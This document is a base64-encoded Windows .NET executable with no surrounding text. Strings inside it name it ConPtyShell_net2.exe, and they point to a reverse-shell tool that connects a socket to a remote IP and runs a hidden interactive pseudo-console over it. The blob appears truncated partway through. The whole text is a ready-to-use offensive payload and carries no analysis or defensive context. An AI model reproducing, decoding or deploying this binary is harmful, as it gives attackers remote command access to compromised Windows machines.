"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAN+NbV4AAAAAAAAAAOAAAgELAQgAAEAAAAAgAAAAAAAADl0AAAAgAAAAYAAAAABAAAAgAAAAEAAABAAAAAAAAAAEAAAAAAAAAACgAAAAEAAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAALhcAABTAAAAAGAAAMgCAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAFD0AAAAgAAAAQAAAABAAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAMgCAAAAYAAAABAAAABQAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAIAAAAAQAAAAYAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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UlRVUElORk8AUFJPQ0VTU19JTkZPUk1BVElPTgBTRUNVUklUWV9BVFRSSUJVVEVTAENPT1JEAENvblB0eVNoZWxsTWFpbkNsYXNzAE1haW5DbGFzcwBtc2NvcmxpYgBTeXN0ZW0AT2JqZWN0AFZhbHVlVHlwZQBlcnJvclN0cmluZwBFTkFCTEVfVklSVFVBTF9URVJNSU5BTF9QUk9DRVNTSU5HAERJU0FCTEVfTkVXTElORV9BVVRPX1JFVFVSTgBQUk9DX1RIUkVBRF9BVFRSSUJVVEVfUFNFVURPQ09OU09MRQBFWFRFTkRFRF9TVEFSVFVQSU5GT19QUkVTRU5UAENSRUFURV9OT19XSU5ET1cAU1RBUlRGX1VTRVNUREhBTkRMRVMAQlVGRkVSX1NJWkVfUElQRQBJTkZJTklURQBTV19ISURFAEdFTkVSSUNfUkVBRABHRU5FUklDX1dSSVRFAEZJTEVfU0hBUkVfUkVBRABGSUxFX1NIQVJFX1dSSVRFAEZJTEVfQVRUUklCVVRFX05PUk1BTABPUEVOX0VYSVNUSU5HAFNURF9JTlBVVF9IQU5ETEUAU1REX09VVFBVVF9IQU5ETEUAU1REX0VSUk9SX0hBTkRMRQBJbml0aWFsaXplUHJvY1RocmVhZEF0dHJpYnV0ZUxpc3QAVXBkYXRlUHJvY1RocmVhZEF0dHJpYnV0ZQBDcmVhdGVQcm9jZXNzAENyZWF0ZVByb2Nlc3NXAFRlcm1pbmF0ZVByb2Nlc3MAV2FpdEZvclNpbmdsZU9iamVjdABTZXRTdGRIYW5kbGUAR2V0U3RkSGFuZGxlAENsb3NlSGFuZGxlAENyZWF0ZVBpcGUAQ3JlYXRlRmlsZQBSZWFkRmlsZQBXcml0ZUZpbGUAQ3JlYXRlUHNldWRvQ29uc29sZQBDbG9zZVBzZXVkb0NvbnNvbGUAU2V0Q29uc29sZU1vZGUAR2V0Q29uc29sZU1vZGUAQWxsb2NDb25zb2xlAEZyZWVDb25zb2xlAFNob3dXaW5kb3cAR2V0Q29uc29sZVdpbmRvdwBHZXRNb2R1bGVIYW5kbGUAR2V0UHJvY0FkZHJlc3MAU3lzdGVtLk5ldC5Tb2NrZXRzAFNvY2tldABDb25uZWN0U29ja2V0AFRyeVBhcnNlUm93c0NvbHNGcm9tU29ja2V0AENyZWF0ZVBpcGVzAEluaXRDb25zb2xlAFJlc3RvcmVTdGRIYW5kbGVzAEVuYWJsZVZpcnR1YWxUZXJtaW5hbFNlcXVlbmNlUHJvY2Vzc2luZwBDcmVhdGVQc2V1ZG9Db25zb2xlV2l0aFBpcGVzAENvbmZpZ3VyZVByb2Nlc3NUaHJlYWQAUnVuUHJvY2VzcwBDcmVhdGVDaGlsZFByb2Nlc3NXaXRoUHNldWRvQ29uc29sZQBUaHJlYWRSZWFkUGlwZVdyaXRlU29ja2V0AFN5c3RlbS5UaHJlYWRpbmcAVGhyZWFkAFN0YXJ0VGhyZWFkUmVhZFBpcGVXcml0ZVNvY2tldABUaHJlYWRSZWFkU29ja2V0V3JpdGVQaXBlAFN0YXJ0VGhyZWFkUmVhZFNvY2tldFdyaXRlUGlwZQBTcGF3bkNvblB0eVNoZWxsAFN0YXJ0dXBJbmZvAGxwQXR0cmlidXRlTGlzdABjYgBscFJlc2VydmVkAGxwRGVza3RvcABscFRpdGxlAGR3WABkd1kAZHdYU2l6ZQBkd1lTaXplAGR3WENvdW50Q2hhcnMAZHdZQ291bnRDaGFycwBkd0ZpbGxBdHRyaWJ1dGUAZHdGbGFncwB3U2hvd1dpbmRvdwBjYlJlc2VydmVkMgBscFJlc2VydmVkMgBoU3RkSW5wdXQAaFN0ZE91dHB1dABoU3RkRXJyb3IAaFByb2Nlc3MAaFRocmVhZABkd1Byb2Nlc3NJZABkd1RocmVhZElkAG5MZW5ndGgAbHBTZWN1cml0eURlc2NyaXB0b3IAYkluaGVyaXRIYW5kbGUAWABZAGhlbHAASGVscFJlcXVpcmVkAENoZWNrQXJncwBEaXNwbGF5SGVscABDaGVja1JlbW90ZUlwQXJnAENoZWNrSW50AFBhcnNlUm93cwBQYXJzZUNvbHMAUGFyc2VDb21tYW5kTGluZQBDb25QdHlTaGVsbE1haW4ATWFpbgAuY3RvcgBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAQ29uUHR5U2hlbGxfbmV0MgBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMARGxsSW1wb3J0QXR0cmlidXRlAGt